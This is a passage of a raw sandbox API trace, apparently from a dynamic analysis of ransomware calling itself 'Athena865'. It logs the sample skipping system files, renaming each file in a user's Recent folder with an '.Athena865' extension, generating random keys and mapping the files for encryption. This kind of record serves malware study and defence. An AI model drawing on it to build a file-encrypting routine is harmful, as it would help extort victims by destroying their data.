RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d5e8 [0052.706] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x518c50 [0052.706] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x519448) returned 1 [0052.706] CryptGenRandom (in: hProv=0x519448, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0052.706] CryptReleaseContext (hProv=0x519448, dwFlags=0x0) returned 1 [0052.707] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x540, lpName=0x0) returned 0x154 [0052.707] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x540) returned 0x100000 [0052.707] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x519448) returned 1 [0052.708] CryptGenRandom (in: hProv=0x519448, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0052.708] CryptReleaseContext (hProv=0x519448, dwFlags=0x0) returned 1 [0052.708] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d660 [0052.708] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d660 | out: hHeap=0x4f0000) returned 1 [0052.708] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x52aba0 [0052.708] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0052.708] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52aba0 | out: hHeap=0x4f0000) returned 1 [0052.708] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0052.708] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x52aba0 [0052.709] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0052.709] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52aba0 | out: hHeap=0x4f0000) returned 1 [0052.709] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0052.709] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0052.709] CloseHandle (hObject=0x154) returned 1 [0052.709] CloseHandle (hObject=0x17c) returned 1 [0052.710] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d5e8 | out: hHeap=0x4f0000) returned 1 [0052.710] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x518c50 | out: hHeap=0x4f0000) returned 1 [0052.710] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0052.710] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb20f7200, ftCreationTime.dwHighDateTime=0x1d575b6, ftLastAccessTime.dwLowDateTime=0xb20f7200, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xb20f7200, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x9eb, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="M560XL.lnk", cAlternateFileName="")) returned 1 [0052.710] lstrcmpiW (lpString1="M560XL.lnk", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0052.710] lstrcmpiW (lpString1="M560XL.lnk", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0052.710] lstrcmpiW (lpString1="M560XL.lnk", lpString2=".") returned 1 [0052.710] lstrcmpiW (lpString1="M560XL.lnk", lpString2="..") returned 1 [0052.710] lstrcmpiW (lpString1="M560XL.lnk", lpString2="windows") returned -1 [0052.710] lstrcmpiW (lpString1="M560XL.lnk", lpString2="bootmgr") returned 1 [0052.710] lstrcmpiW (lpString1="M560XL.lnk", lpString2="temp") returned -1 [0052.710] lstrcmpiW (lpString1="M560XL.lnk", lpString2="pagefile.sys") returned -1 [0052.710] lstrcmpiW (lpString1="M560XL.lnk", lpString2="boot") returned 1 [0052.710] lstrcmpiW (lpString1="M560XL.lnk", lpString2="ids.txt") returned 1 [0052.710] lstrcmpiW (lpString1="M560XL.lnk", lpString2="ntuser.dat") returned -1 [0052.710] lstrcmpiW (lpString1="M560XL.lnk", lpString2="perflogs") returned -1 [0052.711] lstrcmpiW (lpString1="M560XL.lnk", lpString2="MSBuild") returned -1 [0052.711] lstrlenW (lpString="M560XL.lnk") returned 10 [0052.711] lstrcpyW (in: lpString1=0x241e8b4, lpString2="M560XL.lnk" | out: lpString1="M560XL.lnk") returned="M560XL.lnk" [0052.711] lstrlenW (lpString="M560XL.lnk") returned 10 [0052.711] lstrlenW (lpString="Athena865") returned 9 [0052.711] lstrcmpiW (lpString1="560XL.lnk", lpString2="Athena865") returned -1 [0052.711] lstrlenW (lpString=".dll") returned 4 [0052.711] lstrcmpiW (lpString1="M560XL.lnk", lpString2=".dll") returned 1 [0052.711] lstrlenW (lpString=".lnk") returned 4 [0052.711] lstrcmpiW (lpString1="M560XL.lnk", lpString2=".lnk") returned 1 [0052.711] lstrlenW (lpString=".ini") returned 4 [0052.711] lstrcmpiW (lpString1="M560XL.lnk", lpString2=".ini") returned 1 [0052.711] lstrlenW (lpString=".sys") returned 4 [0052.711] lstrcmpiW (lpString1="M560XL.lnk", lpString2=".sys") returned 1 [0052.711] lstrlenW (lpString="M560XL.lnk") returned 10 [0052.711] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Recent\\M560XL.lnk.Athena865") returned 74 [0052.711] MoveFileExW (lpExistingFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Recent\\M560XL.lnk" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\recent\\m560xl.lnk"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Recent\\M560XL.lnk.Athena865" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\recent\\m560xl.lnk.athena865"), dwFlags=0x1) returned 1 [0052.712] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Recent\\M560XL.lnk.Athena865" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\recent\\m560xl.lnk.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0052.712] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=2539) returned 1 [0052.712] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0052.713] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d5e8 [0052.713] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x518c50 [0052.713] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x519448) returned 1 [0052.713] CryptGenRandom (in: hProv=0x519448, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0052.713] CryptReleaseContext (hProv=0x519448, dwFlags=0x0) returned 1 [0052.714] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xcf0, lpName=0x0) returned 0x154 [0052.714] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xcf0) returned 0x100000 [0052.714] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x519448) returned 1 [0052.715] CryptGenRandom (in: hProv=0x519448, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0052.715] CryptReleaseContext (hProv=0x519448, dwFlags=0x0) returned 1 [0052.715] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d660 [0052.715] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d660 | out: hHeap=0x4f0000) returned 1 [0052.715] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x52aba0 [0052.715] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0052.715] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52aba0 | out: hHeap=0x4f0000) returned 1 [0052.715] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0052.715] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x52aba0 [0052.715] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0052.715] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52aba0 | out: hHeap=0x4f0000) returned 1 [0052.715] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0052.715] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0052.715] CloseHandle (hObject=0x154) returned 1 [0052.715] CloseHandle (hObject=0x17c) returned 1 [0052.716] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d5e8 | out: hHeap=0x4f0000) returned 1 [0052.716] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x518c50 | out: hHeap=0x4f0000) returned 1 [0052.716] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0052.717] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb1001540, ftCreationTime.dwHighDateTime=0x1d575b6, ftLastAccessTime.dwLowDateTime=0xb1001540, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xb1001540, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0xa38, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="mJDFYAWcq6yDy.lnk", cAlternateFileName="MJDFYA~1.LNK")) returned 1 [0052.717] lstrcmpiW (lpString1="mJDFYAWcq6yDy.lnk", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0052.717] lstrcmpiW (lpString1="mJDFYAWcq6yDy.lnk", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0052.717] lstrcmpiW (lpString1="mJDFYAWcq6yDy.lnk", lpString2=".") returned 1 [0052.717] lstrcmpiW (lpString1="mJDFYAWcq6yDy.lnk", lpString2="..") returned 1 [0052.717] lstrcmpiW (lpString1="mJDFYAWcq6yDy.lnk", lpString2="windows") returned -1 [0052.717] lstrcmpiW (lpString1="mJDFYAWcq6yDy.lnk", lpString2="bootmgr") returned 1 [0052.717] lstrcmpiW (lpString1="mJDFYAWcq6yDy.lnk", lpString2="temp") returned -1 [0052.717] lstrcmpiW (lpString1="mJDFYAWcq6yDy.lnk", lpString2="pagefile.sys") returned -1 [0052.717] lstrcmpiW (lpString1="mJDFYAWcq6yDy.lnk", lpString2="boot") returned 1 [0052.717] lstrcmpiW (lpString1="mJDFYAWcq6yDy.lnk", lpString2="ids.txt") returned 1 [0052.717] lstrcmpiW (lpString1="mJDFYAWcq6yDy.lnk", lpString2="ntuser.dat") returned -1 [0052.717] lstrcmpiW (lpString1="mJDFYAWcq6yDy.lnk", lpString2="perflogs") returned -1 [0052.717] lstrcmpiW (lpString1="mJDFYAWcq6yDy.lnk", lpString2="MSBuild") returned -1 [0052.717] lstrlenW (lpString="mJDFYAWcq6yDy.lnk") returned 17 [0052.717] lstrcpyW (in: lpString1=0x241e8b4, lpString2="mJDFYAWcq6yDy.lnk" | out: lpString1="mJDFYAWcq6yDy.lnk") returned="mJDFYAWcq6yDy.lnk" [0052.717] lstrlenW (lpString="mJDFYAWcq6yDy.lnk") returned 17 [0052.717] lstrlenW (lpString="Athena865") returned 9 [0052.717] lstrcmpiW (lpString1="q6yDy.lnk", lpString2="Athena865") returned 1 [0052.717] lstrlenW (lpString=".dll") returned 4 [0052.717] lstrcmpiW (lpString1="mJDFYAWcq6yDy.lnk", lpString2=".dll") returned 1 [0052.717] lstrlenW (lpString=".lnk") returned 4 [0052.717] lstrcmpiW (lpString1="mJDFYAWcq6yDy.lnk", lpString2=".lnk") returned 1 [0052.717] lstrlenW (lpString=".ini") returned 4 [0052.717] lstrcmpiW (lpString1="mJDFYAWcq6yDy.lnk", lpString2=".ini") returned 1 [0052.717] lstrlenW (lpString=".sys") returned 4 [0052.717] lstrcmpiW (lpString1="mJDFYAWcq6yDy.lnk", lpString2=".sys") returned 1 [0052.717] lstrlenW (lpString="mJDFYAWcq6yDy.lnk") returned 17 [0052.717] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Recent\\mJDFYAWcq6yDy.lnk.Athena865") returned 81 [0052.718] MoveFileExW (lpExistingFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Recent\\mJDFYAWcq6yDy.lnk" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\recent\\mjdfyawcq6ydy.lnk"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Recent\\mJDFYAWcq6yDy.lnk.Athena865" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\recent\\mjdfyawcq6ydy.lnk.athena865"), dwFlags=0x1) returned 1 [0052.718] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Recent\\mJDFYAWcq6yDy.lnk.Athena865" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\recent\\mjdfyawcq6ydy.lnk.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0052.719] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=2616) returned 1 [0052.719] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0052.719] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d5e8 [0052.719] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x518c50 [0052.719] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x519448) returned 1 [0052.720] CryptGenRandom (in: hProv=0x519448, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0052.720] CryptReleaseContext (hProv=0x519448, dwFlags=0x0) returned 1 [0052.720] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xd40, lpName=0x0) returned 0x154 [0052.720] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xd40) returned 0x100000 [0052.720] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x519448) returned 1 [0052.721] CryptGenRandom (in: hProv=0x519448, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0052.721] CryptReleaseContext (hProv=0x519448, dwFlags=0x0) returned 1 [0052.722] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d660 [0052.722] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d660 | out: hHeap=0x4f0000) returned 1 [0052.722] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x52aba0 [0052.722] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0052.722] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52aba0 | out: hHeap=0x4f0000) returned 1 [0052.722] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0052.723] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x52aba0 [0052.723] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0052.723] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52aba0 | out: hHeap=0x4f0000) returned 1 [0052.730] lstrcpyW (in: lpString1=0x241e8b4, lpString2="MVtGh GBK034.lnk" | out: lpString1="MVtGh GBK034.lnk") returned="MVtGh GBK034.lnk" [0052.730] lstrlenW (lpString="MVtGh GBK034.lnk") returned 16 [0052.730] lstrlenW (lpString="Athena865") returned 9 [0052.730] lstrcmpiW (lpString1="BK034.lnk", lpString2="Athena865") returned 1 [0052.730] lstrlenW (lpString=".dll") returned 4 [0052.730] lstrcmpiW (lpString1="MVtGh GBK034.lnk", lpString2=".dll") returned 1 [0052.730] lstrlenW (lpString=".lnk") returned 4 [0052.731] lstrcmpiW (lpString1="MVtGh GBK034.lnk", lpString2=".lnk") returned 1 [0052.731] lstrlenW (lpString=".ini") returned 4 [0052.731] lstrcmpiW (lpString1="MVtGh GBK034.lnk", lpString2=".ini") returned 1 [0052.731] lstrlenW (lpString=".sys") returned 4 [0052.731] lstrcmpiW (lpString1="MVtGh GBK034.lnk", lpString2=".sys") returned 1 [0052.731] lstrlenW (lpString="MVtGh GBK034.lnk") returned 16 [0052.731] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Recent\\MVtGh GBK034.lnk.Athena865") returned 80 [0052.731] MoveFileExW (lpExistingFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Recent\\MVtGh GBK034.lnk" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\recent\\mvtgh gbk034.lnk"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Recent\\MVtGh GBK034.lnk.Athena865" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\recent\\mvtgh gbk034.lnk.athena865"), dwFlags=0x1) returned 1 [0052.733] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Recent\\MVtGh GBK034.lnk.Athena865" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\recent\\mvtgh gbk034.lnk.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0052.733] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=6331) returned 1 [0052.734] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0052.734] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d5e8 [0052.734] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x518c50 [0052.734] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x519448) returned 1 [0052.734] CryptGenRandom (in: hProv=0x519448, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0052.735] CryptReleaseContext (hProv=0x519448, dwFlags=0x0) returned 1 [0052.735] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x1bc0, lpName=0x0) returned 0x154 [0052.735] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x1bc0) returned 0x100000 [0052.735] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x519448) returned 1 [0052.736] CryptGenRandom (in: hProv=0x519448, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0052.736] CryptReleaseContext (hProv=0x519448, dwFlags=0x0) returned 1 [0052.736] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d660 [0052.737] lstrcpyW (in: lpString1=0x241e8b4, lpString2="MwQVJliyJ2rhOGkTFvdB.ots.lnk" | out: lpString1="MwQVJliyJ2rhOGkTFvdB.ots.lnk") returned="MwQVJliyJ2rhOGkTFvdB.ots.lnk" [0052.737] lstrlenW (lpString="MwQVJliyJ2rhOGkTFvdB.ots.lnk") returned 28 [0052.737] lstrlenW (lpString="Athena865") returned 9 [0052.737] lstrcmpiW (lpString1="B.ots.lnk", lpString2="Athena865") returned 1 [0052.737] lstrlenW (lpString=".dll") returned 4 [0052.737] lstrcmpiW (lpString1="MwQVJliyJ2rhOGkTFvdB.ots.lnk", lpString2=".dll") returned 1 [0052.737] lstrlenW (lpString=".lnk") returned 4 [0052.737] lstrcmpiW (lpString1="MwQVJliyJ2rhOGkTFvdB.ots.lnk", lpString2=".lnk") returned 1 [0052.737] lstrlenW (lpString=".ini") returned 4 [0052.738] lstrcmpiW (lpString1="MwQVJliyJ2rhOGkTFvdB.ots.lnk", lpString2=".ini") returned 1 [0052.738] lstrlenW (lpString=".sys") returned 4 [0052.738] lstrcmpiW (lpString1="MwQVJliyJ2rhOGkTFvdB.ots.lnk", lpString2=".sys") returned 1 [0052.738] lstrlenW (lpString="MwQVJliyJ2rhOGkTFvdB.ots.lnk") returned 28 [0052.738] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Recent\\MwQVJliyJ2rhOGkTFvdB.ots.lnk.Athena865") returned 92 [0052.738] MoveFileExW (lpExistingFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Recent\\MwQVJliyJ2rhOGkTFvdB.ots.lnk" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\recent\\mwqvjliyj2rhogktfvdb.ots.lnk"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Recent\\MwQVJliyJ2rhOGkTFvdB.ots.lnk.Athena865" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\recent\\mwqvjliyj2rhogktfvdb.ots.lnk.athena865"), dwFlags=0x1) returned 1 [0052.739] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Recent\\MwQVJliyJ2rhOGkTFvdB.ots.lnk.Athena865" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\recent\\mwqvjliyj2rhogktfvdb.ots.lnk.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0052.739] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=1060) returned 1 [0052.739] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0052.740] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d5e8 [0052.740] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x518c50 [0052.740] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x519448) returned 1 [0052.740] CryptGenRandom (in: hProv=0x519448, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0052.740] CryptReleaseContext (hProv=0x519448, dwFlags=0x0) returned 1 [0052.740] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x730, lpName=0x0) returned 0x154 [0052.741] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x730) returned 0x100000 [0052.741] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x519448) returned 1 [0052.741] CryptGenRandom (in: hProv=0x519448, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0052.741] CryptReleaseContext (hProv=0x519448, dwFlags=0x0) returned 1 [0052.742] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d660 [0052.743] lstrcpyW (in: lpString1=0x241e8b4, lpString2="My Music.lnk" | out: lpString1="My Music.lnk") returned="My Music.lnk" [0052.743] lstrlenW (lpString="My Music.lnk") returned 12 [0052.743] lstrlenW (lpString="Athena865") returned 9 [0052.743] lstrcmpiW (lpString1="Music.lnk", lpString2="Athena865") returned 1 [0052.743] lstrlenW (lpString=".dll") returned 4 [0052.743] lstrcmpiW (lpString1="My Music.lnk", lpString2=".dll") returned 1 [0052.743] lstrlenW (lpString=".lnk") returned 4 [0052.743] lstrcmpiW (lpString1="My Music.lnk", lpString2=".lnk") returned 1 [0052.743] lstrlenW (lpString=".ini") returned 4 [0052.743] lstrcmpiW (lpString1="My Music.lnk", lpString2=".ini") returned 1 [0052.743] lstrlenW (lpString=".sys") returned 4 [0052.743] lstrcmpiW (lpString1="My Music.lnk", lpString2=".sys") returned 1 [0052.743] lstrlenW (lpString="My Music.lnk") returned 12 [0052.744] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Recent\\My Music.lnk.Athena865") returned 76 [0052.744] MoveFileExW (lpExistingFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Recent\\My Music.lnk" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\recent\\my music.lnk"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Recent\\My Music.lnk.Athena865" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\recent\\my music.lnk.athena865"), dwFlags=0x1) returned 1 [0052.744] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Recent\\My Music.lnk.Athena865" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\recent\\my music.lnk.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0052.745] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=1322) returned 1 [0052.745] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0052.745] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d5e8 [0052.745] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x518c50 [0052.745] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x519448) returned 1 [0052.746] CryptGenRandom (in: hProv=0x519448, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0052.746] CryptReleaseContext (hProv=0x519448, dwFlags=0x0) returned 1 [0052.746] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x830, lpName=0x0) returned 0x154 [0052.754] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, 